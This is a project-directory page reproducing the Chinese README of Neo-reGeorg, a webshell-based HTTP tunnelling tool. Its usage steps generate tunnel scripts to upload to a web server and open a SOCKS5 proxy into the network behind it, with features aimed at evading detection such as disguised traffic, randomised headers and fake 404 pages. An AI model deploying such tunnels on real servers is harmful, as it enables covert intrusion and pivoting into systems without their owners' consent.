All Projects → L-codes → Neo Regeorg

L-codes / Neo Regeorg

Licence: gpl-3.0
Neo-reGeorg is a project that seeks to aggressively refactor reGeorg

Programming Languages

python
139335 projects - #7 most used programming language

Projects that are alternatives of or similar to Neo Regeorg

Agentx
Shadowsocks升级版,支持协议伪装和流量压缩,易于扩展,可统计流量
Stars: ✭ 154 (-81.08%)
Mutual labels:  socks-proxy
docker-openvpn-client
OpenVPN client with killswitch and proxy servers; built on Alpine
Stars: ✭ 217 (-73.34%)
Mutual labels:  socks-proxy
Free Proxy List
🔥Free proxy servers list / Updated hourly!
Stars: ✭ 326 (-59.95%)
Mutual labels:  socks-proxy
Socks
Fully featured SOCKS proxy client supporting SOCKSv4, SOCKSv4a, and SOCKSv5. Includes Bind and Associate functionality.
Stars: ✭ 200 (-75.43%)
Mutual labels:  socks-proxy
shadowrocket
A socks5 proxy to build your own shadowsocks private network. PHP based & Composer supported.
Stars: ✭ 23 (-97.17%)
Mutual labels:  socks-proxy
3proxy
3proxy - tiny free proxy server
Stars: ✭ 2,493 (+206.27%)
Mutual labels:  socks-proxy
Gus Proxy
"打一枪换一个地方" 一个HTTP代理
Stars: ✭ 113 (-86.12%)
Mutual labels:  socks-proxy
Multitor
Create multiple TOR instances with a load-balancing.
Stars: ✭ 624 (-23.34%)
Mutual labels:  socks-proxy
proxy-ng
No description or website provided.
Stars: ✭ 33 (-95.95%)
Mutual labels:  socks-proxy
rsp
Rapid SSH Proxy
Stars: ✭ 223 (-72.6%)
Mutual labels:  socks-proxy
Tor Socks Proxy
🐳 Tiny Docker(🤏 10MB) image as 🧅 Tor SOCKS5 proxy 🛡
Stars: ✭ 218 (-73.22%)
Mutual labels:  socks-proxy
microsocks11
A cross-platform SOCKS5 library and server based on the microsocks project.
Stars: ✭ 22 (-97.3%)
Mutual labels:  socks-proxy
socks5 list
Auto-updated SOCKS5 proxy list + proxies for Telegram
Stars: ✭ 210 (-74.2%)
Mutual labels:  socks-proxy
3proxy
3proxy - tiny free proxy server
Stars: ✭ 2,263 (+178.01%)
Mutual labels:  socks-proxy
Proxy List
Get PROXY List that gets updated everyday
Stars: ✭ 347 (-57.37%)
Mutual labels:  socks-proxy
Flynet
A powerful TCP/UDP tool, which support socks5 proxy by tcp and udp, http proxy and NAT traversal. This tool can help you bypass gfw easily
Stars: ✭ 124 (-84.77%)
Mutual labels:  socks-proxy
network-smoothie
Dead simple internet bonding. Take advantege of multiple network adapters.
Stars: ✭ 14 (-98.28%)
Mutual labels:  socks-proxy
Rotating Proxy
Rotating TOR proxy with Docker
Stars: ✭ 739 (-9.21%)
Mutual labels:  socks-proxy
Invoke Socksproxy
Socks proxy, and reverse socks server using powershell.
Stars: ✭ 540 (-33.66%)
Mutual labels:  socks-proxy
srelay
Srelay - the SOCKS proxy and Relay (imported from sourceforge)
Stars: ✭ 41 (-94.96%)
Mutual labels:  socks-proxy

Neo-reGeorg

简体中文 | English

Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的是:

  • 提高 tunnel 连接安全性
  • 提高可用性,避免特征检测
  • 提高传输内容保密性
  • 应对更多的网络环境场景

此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任!

Version

2.6.0 - 版本修改日志

Features

  • 传输内容经过变形 base64 加密,伪装成 base64 编码
  • 直接请求响应可定制化 (如伪装的404页面)
  • HTTP Headers 的指令随机生成,避免特征检测
  • HTTP Headers 可定制化
  • 自定义 HTTP 响应码
  • 多 URL 随机请求
  • 服务端 DNS 解析
  • 兼容 python2 / python3
  • 服务端环境的高兼容性
  • 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
  • 支持内网转发,应对负载均衡环境

Dependencies

Basic Usage

  • Step 1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
$ python neoreg.py generate -k password

    [+] Create neoreg server files:
       => neoreg_servers/tunnel.jspx
       => neoreg_servers/tunnel_compatibility.jspx
       => neoreg_servers/tunnel.php
       => neoreg_servers/tunnel.ashx
       => neoreg_servers/tunnel.aspx
       => neoreg_servers/tunnel.jsp
       => neoreg_servers/tunnel_compatibility.jsp

  • Step 2. 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
$ python3 neoreg.py -k password -u http://xx/tunnel.php
+------------------------------------------------------------------------+
  Log Level set to [DEBUG]
  Starting socks server [127.0.0.1:1080]
  Tunnel at:
    http://xx/tunnel.php
+------------------------------------------------------------------------+

注意,如果你的工具,如 nmap 不支持 socks5 代理设置,请使用 proxychains

Advanced Usage

  1. 支持生成的服务端,默认直接请求响应指定的页面内容 (如伪装的 404 页面)
$ python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
$ python neoreg.py -k <you_password> -u <server_url> --skip
  1. 如服务端 WEB,需要设置代理才能访问
$ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
  1. 如需 Authorization 认证和定制的 Header 或 Cookie
$ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
  1. 需要分散请求,可上传到多个路径上,如内存马
$ python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
  1. 开启内网转发,应对负载均衡
$ python neoreg.py -k <you_password> -u <url> -r <redirect_url>
  1. 使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )
$ python neoreg.py -k <you_password> -u <url> -t <ip:port>
  • 更多关于性能和稳定性的参数设置参考 -h 帮助信息
# 生成服务端脚本
$ python neoreg.py generate -h
    usage: neoreg.py [-h] -k KEY [-o DIR] [-f FILE] [-c CODE] [--read-buff Bytes]

    Generate neoreg webshell

    optional arguments:
      -h, --help            show this help message and exit
      -k KEY, --key KEY     Specify connection key.
      -o DIR, --outdir DIR  Output directory.
      -f FILE, --file FILE  Camouflage html page file
      -c CODE, --httpcode CODE
                            Specify HTTP response code. (default: 200)
      --read-buff Bytes     Remote read buffer. (default: 513)

# 连接服务端
$ python neoreg.py -h
    usage: neoreg.py [-h] -u URI [-r URL] [-t IP:PORT] -k KEY [-l IP] [-p PORT]
                     [-s] [-H LINE] [-c LINE] [-x LINE] [--local-dns]
                     [--read-buff Bytes] [--read-interval MS]
                     [--write-interval MS] [--max-threads N] [-v]

    Socks server for Neoreg HTTP(s) tunneller. DEBUG MODE: -k
    (debug_all|debug_base64|debug_headers_key|debug_headers_values)

    optional arguments:
      -h, --help            show this help message and exit
      -u URI, --url URI     The url containing the tunnel script
      -r URL, --redirect-url URL
                            Intranet forwarding the designated server (only
                            jsp(x))
      -t IP:PORT, --target IP:PORT
                            Network forwarding Target, After setting this
                            parameter, port forwarding will be enabled
      -k KEY, --key KEY     Specify connection key
      -l IP, --listen-on IP
                            The default listening address.(default: 127.0.0.1)
      -p PORT, --listen-port PORT
                            The default listening port.(default: 1080)
      -s, --skip            Skip usability testing
      -H LINE, --header LINE
                            Pass custom header LINE to server
      -c LINE, --cookie LINE
                            Custom init cookies
      -x LINE, --proxy LINE
                            Proto://host[:port] Use proxy on given port
      --local-dns           Use local resolution DNS
      --read-buff Bytes     Local read buffer, max data to be sent per
                            POST.(default: 2048 max: 2600)
      --read-interval MS    Read data interval in milliseconds.(default: 300)
      --write-interval MS   Write data interval in milliseconds.(default: 200)
      --max-threads N       Proxy max threads.(default: 1000)
      -v                    Increase verbosity level (use -vv or more for greater
                            effect)

Remind

  • Mac OSX 上运行 neoreg.py 时,高并发请求会出现网络丢包情况,可通过 ulimit -n 2560 修改当前 shell 的 "最大文件打开数"

TODO

  • HTTP body 隐写

  • 传输 Target 隐写

  • 根据不同的 web 端,使用更佳的传输方案,与不同的默认参数

License

GPL 3.0

Stargazers over time

Stargazers over time

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].